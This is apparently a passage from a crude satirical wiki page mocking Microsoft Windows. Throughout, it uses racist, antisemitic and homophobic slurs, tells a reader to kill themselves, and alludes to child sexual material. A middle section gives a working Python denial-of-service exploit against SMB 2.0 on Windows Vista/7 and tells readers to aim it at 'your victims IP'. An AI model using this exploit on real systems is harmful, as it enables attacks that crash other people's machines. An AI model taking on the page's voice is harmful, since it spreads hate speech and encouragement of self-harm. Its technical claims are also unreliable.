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Windows

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If you are homosexual, see Mac OS; if you do not shave and/or shower, see the shit Linux
This page contains spoilers — important plot secrets and/or conclusions may be revealed. For example,
HOLY SHIT I AM CLEVER BECAUSE I SAY MICRO$OFT INSTEAD OF MICROSOFT!!!1

Microsoft Windows is an operating system composed of herpes-inducing malware produced and developed by the Microsoft Corporation. Windows is known for its wide appeal, attracting users from the most hardcore gamers who live a meaningless existence, to your grandmother who is too senile to know any better. Microsoft gives users a wide array of broken tools and regular security updates that can be put to all kinds of uses. As it stands, Windows is a very reliable OS, provided users don't have hang-ups about their computer crashing every five seconds, randomly deleting their files, murdering their wives, and catching fire (See: ReiserFS).

The official Microsoft salute.
Windows XP Mascot is here to please the windows userbase.
Windows 7. Built by Mexicans under the direction of Chiquita Banana.
   
“ 		 
Well, it crashes on me about 50 times a day, but it's still better than a Mac.
  		„
  		 

—Typical Microsoft Customer

Hi$tory

 
AT FULL FORCE

Microsoft was founded by Bill Gates and named after the size and shape of his penis (hence "Micro" and "soft"—the term cannot possibly apply to the software because ironically it is macro in size and hard to use) with the intention of a hostile overthrow of the PC market, starting first with the rape of DOS. The usability of Windows 3.1 ushered in the reign of our Illuminati masters as we know it today. Windows 3.1's success was due in large part to the killer app Solitaire, since this program was simple enough to run without crashing, as long as nothing else was running at the same time. since their humble beginning, Microsoft products are often ridiculed for having security problems, crashing over 9,000 times a second and for being slower than a dead turtle with a broken leg, Now, would this really happen to Linux?

Windows has remained the most bloated computer software since its conception, and attempts at recreating its Jew-like qualities have been unsuccessful. Chief competitors such as Fapple and Jewnix have failed to acquire a significant marketshare. The tagteam Linux/Unix family of operating systems has failed to gain a significant foothold of its core constituency of people who don't get laid. Meanwhile, Apple has in recent years expanded out of its userbase of no one into a userbase of hardened gays and useless people but has failed to mount a significant opposition. The potentially vast resource of the Africa market, however, is yet to have been exploited by any of them. This may be because minorities have no money, but the validity of such a claim has been questioned, as many argue that the true, underlying reason for minorities having no money is because they are swindled out of it by the white man.

The purported advantages of alternative operating systems, such as the free nature of Linux (EDitor's note: AIDS is free too, you don't see me contracting it!) or the faggot appeal of Macs to others of similar persuasions, despite what any realistic basis they may have, have failed to capture a significant enough audience. Maybe people are stupid. Or maybe Windows is the best OS. Or maybe it's all your fault, faggot. Seriously, go kill yourself.

Window$ $tati$tic$

  • 78% crap, 21% rule 34, 1% unknown
  • Has 10^8 fanboys.
  • Old versions like Windows 95, 98, and ME crash over 9,000 times a SECOND. This was to prevent anyone from getting online to post about it.
  • However, the newer NT based version is a pretty cool guy... he manages system resources well and doesn't afraid of anything.
  • It is quite n00b-proof as it requires more than clicking a mouse.
  • FACT: In Windows Vista MS PAINT uses 1,168,672KB of memory to run this piece of shit.
  • Jews made Vista much slower so now that the entire world is entirely unproductive, this was believed to have been targeted at mainly the Arabs for epic lulz, but has ended up pwning the entire planet.
  • Vista's main feature was that it divides by zero once every hour. Vista then fucks off and dies.

Amazing technology

 
"Thanks, Microsoft."

Windows features amazing technology such as rebooting your computer. It even comes with built-in fax support!!!!111! It also appeals to 13-year-old boys because it allows them to make "viruses" that don't replicate themselves, change other users' passwords through the command prompt if they are running an Administrator account (they are too retarded to realize that they can already do it with a graphical user interface by using the fucking Control Panel), and messing with Microsoft Sam. After all, who cares about blind people being able to use computers when you can make a robot say, "I suck cocks"?

Windows also comes with a text editor that only supports Windows \r\n newlines and fucks up reading text files made with any other operating system and a graphics editor that doesn't support alpha transparent PNG images, animated GIFs, or even something as simple as layers. Clearly, Microsoft uses MS Paint to make their box art and the graphics of their operating system.

The Anti-Windows Movement

 
The White Man's choice of OS

This movement is largely led by Linux users and other retards who think Windows is the shittiest operating system ever. Little do they realize that making fun of Windows ME's constant crashing became a worn out joke a long time ago. The up-to-date joke being the fact that Windows catches more strains of viruses than a nymphomaniac prostitute does. The fact is that Windows XP is a piece of shit, literally fecal matter. Fags actually sit around waiting for someone to tell them all this so they can argue about it for hours and hours.

Some people have hypothesized that Windows is an illegal monopoly, but M$ has proven time and time again that it isn't, namely by bundling their own web browser, multimedia program and more recently an exceptional security system along with their OS.

UPDATE:Today Microsoft makes most of its monies from Android phone royalties and has replaced innovation with litigation (innovation isboth are Apples job )

In addition to the numerous positive attributes of Microsoft Windows, OS X and Linux ain't got games, and as everyone knows, games are the primary reason anybody uses a computer. Games, being the hobby of only roaringly heterosexual successful employed white men, are a necessary past time for all normal people. This accounts for Window's incredible popularity and customer loyalty.

Plagiation, the sincerest form of faggotry

Microsoft, always known for originality equaling the talents of top DA tracers, has been content to ride the coattails of other, cooler OS manufacturers. Here's some of the more blatant examples:

Zune

Main article: Zune

Apple, Inc remains profitable only thanks to hordes of dickless idiots who pay cash for music available for free, and are content to only be able to play it on bland, overpriced cookie-cutter players with one button.
“I wanna piece of that action!”, yelped Billy.
Thus, a device even lamer than Ipod was born, something that was thought impossible by industry experts.

Vista

 
Typical Windows error message

Apple, Inc remains profitable only thanks to hordes of dickless idiots who pay double cash for bland, elitist, cookie-cutter laptops with one button (other than keyboard/trackpad).
“I wanna piece of that action!”, yelped Billy.

Thus, an operating system as lame as OSSux was born, something that was thought impossible by industry experts.
It’s just like it, too! All windows have rounded corners, the browser has tabs, everything is shiny like a man slathered with Vaseline, and you can do that cool Exposé thing (if you have 8GB of RAM, that is).

Easy trollage: Vista/OSX similarity is a hot topic with fanboys on both sides; they will be screaming for your blood should you suggest that their beloved OS is not original.

Seinfeld, with a dash of memetology

You saw this coming, folks: the sit-cum king and known ephebophile (he’s a furry and Jewish, too, for extra points!) was destined to team up with teh lame that is Microsoft. The immensely witty and popular “Hello, I’m a Mac" commercials were just too good not to copycat. Enter “Jerry and Bill try to fit in with normal people” spots. Haeted by one and all, the campaign was halted after two ads, with the spin being that it’s always been planned that way, and “ordinary people” ads will now follow in the spirit of the abovementioned “Hello, I’m a Mac" brilliance. Using an incredibly funny and popular (albeit balding and fattening) comedian wasn’t enough for Microsoft, though. Like an mature gentleman adopting hipster talk to fit in with the young’in’s, Microshaft hijacked and forever sullied a respectable meme in the shoe-store ad.

   
“ 		 
...are they ever gonna come out with something that will make our computers moist and chewy, like cake...?
  		„
  		 

— Jerry, being a Kewl Kid

 
Bill Gaytes knows his memes.

It has thus been proven that one can be a newfag regardless of age.

FACT: This ad campaign cost 300 Million Jewgold, 10 of which went to Seinfeld for the two ads.
Sometimes, being the richest TV actor in history with rerun syndication on five continents just isn't enough.
Now you know why it costs you $35 to make a Windows support call to Raju in Bangalore.

Windows XP

 
Your average installation

Windows XP came out at least 100 years ago and like everything Microsoft, took a while to mature. Now it's fairly stable, if somewhat outdated. But some people don't seem to mind using a decade old OS that shipped with MSN Explorer and support for floppy drives, and are convinced that someday, Microsoft will see the error of its ways and throw away four years of development to Vista and Windows 7 and return to 2001. They have likely installed Rainmeter at a kernel level and cannot upgrade or they will lose access to all of their loli, which is encrypted so that their mom can't get it.

While most people who have a job and crazy shit like that have moved on to, if not Vista, then Windows 7, there are still legions of unemployed Aspies who insist on tweaking their Windows XP "rigs" instead of doing more productive stuff like looking for a job or masturbating. There are those who are yet more faggoty and install 64-bit Windows XP, despite it being minimally supported by Microsoft. There are few if any drivers or applications that use the awesome power of 64 bit to double the size of every pointer, but don't tell these faggots (any of them) that they are wasting their lives on an outdated shitty operating system from a shitty company.

Vista Technology

 
zomg torrent plz!111

File:VISTA.jpg

 
UAC. Serious Business.

Windows Vista is the next generation in technology. It was developed using the legendary Computer Science III library system and used the DRAIN graphical API to suck the shit right out of your graphics card's asshole.

Advanced n00b Protection Technology

With Windows Vista, n00bs will no longer be able to steal your personal information. As part of this new technology, Windows Vista now includes a reading test in order to be able to use the computer. n00bs, camwhores, and furfags can't read, of course, and they will fail the test and not be able to login keeping your data secure.

Now in Beta: Vista Service Pack 938439 now includes Jew and Muslim lockouts. The login box is now adorned with jpegs of bacon and pork chops, which frighten and disgust them and prevent their logging in.

An optional driver allows additional security where the would-be thief must deposit a quarter into the machine before usage, instantly repelling all Jews. This also is effective in repelling 99% of third-world users because they are too poor to spare a quarter.

Incompatibility Monitor

The incompatibility monitor ensures that something in your computer won't work with Vista. Incompatibility monitor checks to make sure that everything on your computer is responding to the operating system, and if everything is working, incompatibility monitor is designed to pick the one thing that would annoy you most, and make it stop working. The incompatibility monitor runs twenty-four hours a day, even when you think you've shut off your computer, and is unable to be uninstalled.

User account Control

User Account Control (UAC) is an application Microsoft put into Windows Vista. It was Microsoft's way to keep the viruses you get from watching lolita porn from messing up your computer. The way it works is simple yet annoying. Everytime you run an application it asks if you are sure you want to run it and then it tells you that it may fuck up your computer. if you say yes, it will ask you another question that looks different, but is the same basic question. The most ironic thing about UAC is the fact that Windows is the world's biggest computer virus in itself, and it is rather amusing to think that a Virus protects itself against other viruses.

Aero Glass Faggotry

For once, Windows came out with something before Mac. Now you can sort of see through the window panes to the other window panes behind them, but it's slightly blurred so you actually cannot see anything behind the window. Sounds confusing? That's the way we like it here at Microsoft.

NEWS 2007-2010

Because Microsoft are faggots just like Umbrella coperation, RESIDENT EVIL is based on Microsoft as their evil assholes. In 2007 Bill gates anouced he was gangsta, Jesus joined Microsoft Corp as Executive Media CEO, however Jews joined Microsoft Corp for Lolz and Jesus was found hanged in his Miami mansion. Christian SGR John Hartner from the police department said

I was having such a bad day, then jesus turned up dead when I went to visit him Lolz

Not convinced? Take a look at our product tour:

Previous Video | Next Video

VISTA FAQ

  • Q: Is it safer?


JUST LOOK AT IT HOLY SHIT DOES IT LOOK HIGH TECH IT'S GOT TO BE SAFER, I MEAN, I KNOW THEY MAKE VIDEO GAMES NOW, BUT THEY WOULDN'T POSSIBLY DRESS UP THEIR OPERATING SYSTEM TO JUST LOOK BETTER RIGHT? THOSE GRAPHICS SAVE YOU FROM VIRII, BUT MORE IMPORTANTLY, IT HAS ALL OF THOSE ROUND EDGES SO YOU DON'T BANG YOUR HEAD ON THE CORNERS BECAUSE THAT WOULD BE DANGEROUS FOR THE USER! SAFETY IS THE NUMBER ONE PRIORITY!!!!

  • Q: What does VISTA stand for?


Vainglorious & Incompatible Software with Tenacious Asperger's.

  • Q: How do I uninstall VISTA and replace with 95/98/XP/Linux/OSX/anything?


Because VISTA was modeled after AIDS, there is no cure.

  • Q: Why is my C:\Windows\ folder over 20 gigabytes?


For the Lulz.

  • Q: I bought a PC package with preinstalled Vista. I want to install XP on that pc. Where is the Vista Installation DVD and where can I find XP drivers for the hardware?


A: Ha ha ha! I mean... good luck with that.

  • Q: Why is there so much fail with VISTA?


Cause your you're adopted (LERN2ENGLISH).


To fix compatibility issues, visit the Microsoft Technical Support Page.

  • Q: When I try to delete a file, Vista says, "You don't have rights to delete this file". But I am the owner of the file. Why can't I delete it?


Since everything you have on your computer with Vista belongs to Microsoft, you simply just don't have rights to delete your own files. Read the EULA before you accept it.

  • Q: What kind of computer will run Vista smoothly?


The latest Cray supercomputer comes close (but you have to turn off Aero). At home, you'll need at least an 8-core Xeon processor with at least 16GB RAM, three NVIDIA GeForce GTX 295's in SLI, and at least 9001 GB of free hard drive space. Double those requirements if you want to play both solitaire and minesweeper.

  • Q: Isn't Vista the best operating System EVAR?


It is if you're Bill Gates.

Windows 7/Vista remote (sort of) SMB 2.0 malformed protocol version handshake ruin

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality.

The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for further communication.

This SMB2 security issue is specifically due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) 

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  :)  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

You need to be using Linux (or Mac OS X) to get this working properly.

Copy and paste that into a file called "smb.py". Edit "IP_ADDR" in the script to what your victims IP is. Later on I'll update the script so it can have an IP appended at the end or even have a list of IP's piped into it :) 

party_shaker@lappy/~$ chmod +x smb.py
party_shaker@lappy/~$ ./smb.py

It seizes up their shit and crashes the OS instantly. It hasn't been patched yet. GO-GO-GO (Disclaimer: I did not discover this)

A Java Version if your python IDE is shitty because you use Windows

Upgrading to Windows 7

 

With the release of Windows 7, Microsoft announced they were trolling us from the start and there isn't a damn thing we can do about it.


   
“ 		 
So we decided to ship the Windows 7 code as Windows 6.1 - which is what you will see in the actual version of the product in cmd.exe or computer properties.
  		„
  		 

—Actual quote from Mike Nash, Microsoft Corporate Vice-President

 

Windows 7 was my idea

  • You know how when your network adapter isn't working, you try troubleshooting and it suggests that you try remote assistance? That was my idea.
  • The lack of blue screens in 7? That was MY idea. Wait, you're getting Blue Screens in 7? Your idea, not mine.
  • You know the inability to view animated gifs without some shitty 3rd party program? That was my idea.

Windows 8

Last Thursday, Microsoft CEO Steve Ballmer unveiled the newest version of Windows, the aptly named Windows 8. This news was initially met with jubilant cheers by the masses until they saw...


 
Fisher-Price OS
 

Having carefully studied Apple's success with the iPad and iPhone, Ballmer logically deduced that the future of computing lay in full-screen, single-tasking "apps" that would provide a unified user experience across phones, tablets, and high-end desktops. Inspired by Microsoft's last successful full screen, single task-switching OS, he ordered his engineers to rewrite MS-DOS 5 for .NET with new METRO aesthetics. In a bold move, Ballmer then personally force-raped METRO to Windows 7 to spawn Windows 8, an act against God, Nature, and Steve Jobs that precipitated a mass defection of Microsoft developers to marginally less evil corporations.

 
Ballmer supervises the creation of Windows 8. Note the bestial lust of the Windows 7 kernel at the sight of a new, virginal UI.

Dubbing it the Metro UI, Microsoft was banking on this version of Windows securing their 90% market share and put a ding in iPad sales. Much to Ballmer's disappointment, many desktop and enterprise users could not understand his genius in allowing them to run Windows Phone 7 on their eight-core desktops:


   
“ 		 
Disjointed is the key word that comes to mind after you spend some time with Windows 8. As a tablet OS, if you can keep in Metro land, things feel good. Very good. The gestures are a bit more complex and less intuitive than we've seen on other tablet operating systems, but more savvy users will appreciate that. That said, Windows is still primarily a desktop operating system, and once you get to that level the cracks in the foundation start to show.
  		„
  		 

—Engadget is a huge fan

   
“ 		 
Never — and I’m going to repeat this for additional emphasis, never – have I been as horrified by one of the company’s products as I am by this one. (Yes, I used Microsoft Bob.) Every choice seems to have been made for a sketchy reason, and the full collection of them bears the haphazard feel of the morning after a particularly raucous college party. Scratch that: Even at my most inebriated, I’m pretty sure I would never conceive of something like Windows 8.
  		„
  		 

—Microsoft fanbois react.

   
“ 		 
Between Microsoft's well-established negative brand equity -- to me, only General Motors(GM) is worse -- and the software maker's third-grade marketing acumen, investors can bank on viciously negative buzz for Windows 8, a drumbeat of crankiness that will only build until the fall launch. At which point, things will turn really foul. Remember, it won't be just PC users bitching and moaning about being forced to learn a new way to use their computers. This product is also deploying on mobile tablets and, in a sense, smartphones, because Windows 8 is really the PC version of Windows Phone. So the drumbeat of complaints will pour from everywhere well after the official launch.
  		„
  		 

—Even investors are getting to know it.

   
“ 		 
For all the hatred I have towards OS X 10.7's "iOS-ification", at least Apple's melding their disparate OSes slowly, and clearly. The learning curve's not very high. Windows 8 sounds like Microsoft decided to have a threesome between Windows, XBox, and Android. Un-unified user experience and dumbing things down. Meh.
  		„
  		 

—Comments from this article.

Previous Quote | Next Quote

With this new version of Windows expected to roll out later this year, Microsoft, anticipating a lull in new PC sales, thought it'd be a good idea to give anyone who buys a new computer before the Windows 8 release a free upgrade to their newest and best OS. This was what happened with Vista and a similar campaign was successfully launched to boost the decline in hardware sales in 2009. Of course, many current Windows 7 users saw right through this bullshit and have opted to keep Windows 7 or XP until Microsoft unfucks Windows 8. Others, meanwhile, have decided to abandon ship and move over to OS X or Linux, because that'll show those greedy nerds in Redmond who's boss. If only Microsoft had kept improving Windows 7, a stalled attempt at fixing Vista, right?


 

Windows 8.1

 
This is how g installs Windows 8.1

It's finally here. The update we've all been waiting for. I can't go into very much depth with this article because I'm so busy enjoying the Windows 8.1's new search feature that Windows 8 was missing, but I can tell you this much: imagine Windows 8 except approximately 2% better. Doesn't get much better than that, does it? What will these brilliant bastards think of next? I was going to say it would be nice if they could add a feature to scroll through my images horse porn while the computer is locked, but they read my mind and added that to Windows 8.1!

Windows 10

 
 
A perfect example of merging shit that worked with shit that didn't.

After the clusterfuck that was Windows 8 and it's half assed 8.1 update Microshit decided to skip 9 and call the new OS Windows 10. The start menu has returned in it's Windows 7 form but it's also been paired with the METRO UI designed by underpaid college graduates.

.NET Framework

Microsoft's .NET framework was designed with one very simple, sensible rule in mind: to force all programs on Windows to be proprietary. Yes, even open source ones. You see dear reader, it isn't enough that Microsoft is already a bazillionaire corporation reaping the benefits of spilled, outsourced, Chinese blood. No, they need to ensure that no other operating system can get their mitts on the glory that is "Software"

If you're confused, then please let me take this minute to explain. Once upon a time, computer programs were written in a language called C. This means that if you write a program for one operating system (such as Windows) then you could use it on another (such as Unix). Enter our friend Bill Gates. This is a man who lives in a delusional world in which he invented computers and the internet; and therefore it is only his natural birthright to lay claim to all computer-related doodads. He first began his flagrant assault on free knowledge by obfuscating and packing programs into little things called "Executables" (These are the .exe files you see on your Windows right now.) These programs were different from every other operating system in that you couldn't see how they worked exactly -- all you knew is that they did in fact work as advertised.

A few ambitious neckbeards got together and built several programs to run these executable files on their miscellaneous operations systems. The reasoning behind their desire to taint their kingdom with Microsoft bile is still unclear to this day. Regardless, they did it. This was widely regarded as a huge mistake to everyone who gave two shits about the girth of Bill Gate's wallet.

Naturally, Gates retaliated, and released what is known as the .NET framework (Pronounced "Dot Net"). Microsoft will tell you that they created this framework for the purpose of simplifying and streamlining programming. Those of us who have an iota of intelligence more than an ape or your senile grandmother knows that this is utter bullshit. It was invented for the sole purpose of forcing all programs created on Microsoft to work ONLY for Microsoft. Thus, any time you want to make a "modern program that follows current Windows standards" you are forced to make the program proprietary to Microsoft.

tl;dr Bill Gates has somehow successfully manipulated the entire world's population of programmers to work for him.

Gallery

Windows Gallery About missing Pics
[Collapse GalleryExpand Gallery]

See Also

 
The Windows vs Mac vs Linux debate personified.

Other worthy softwares:

Links


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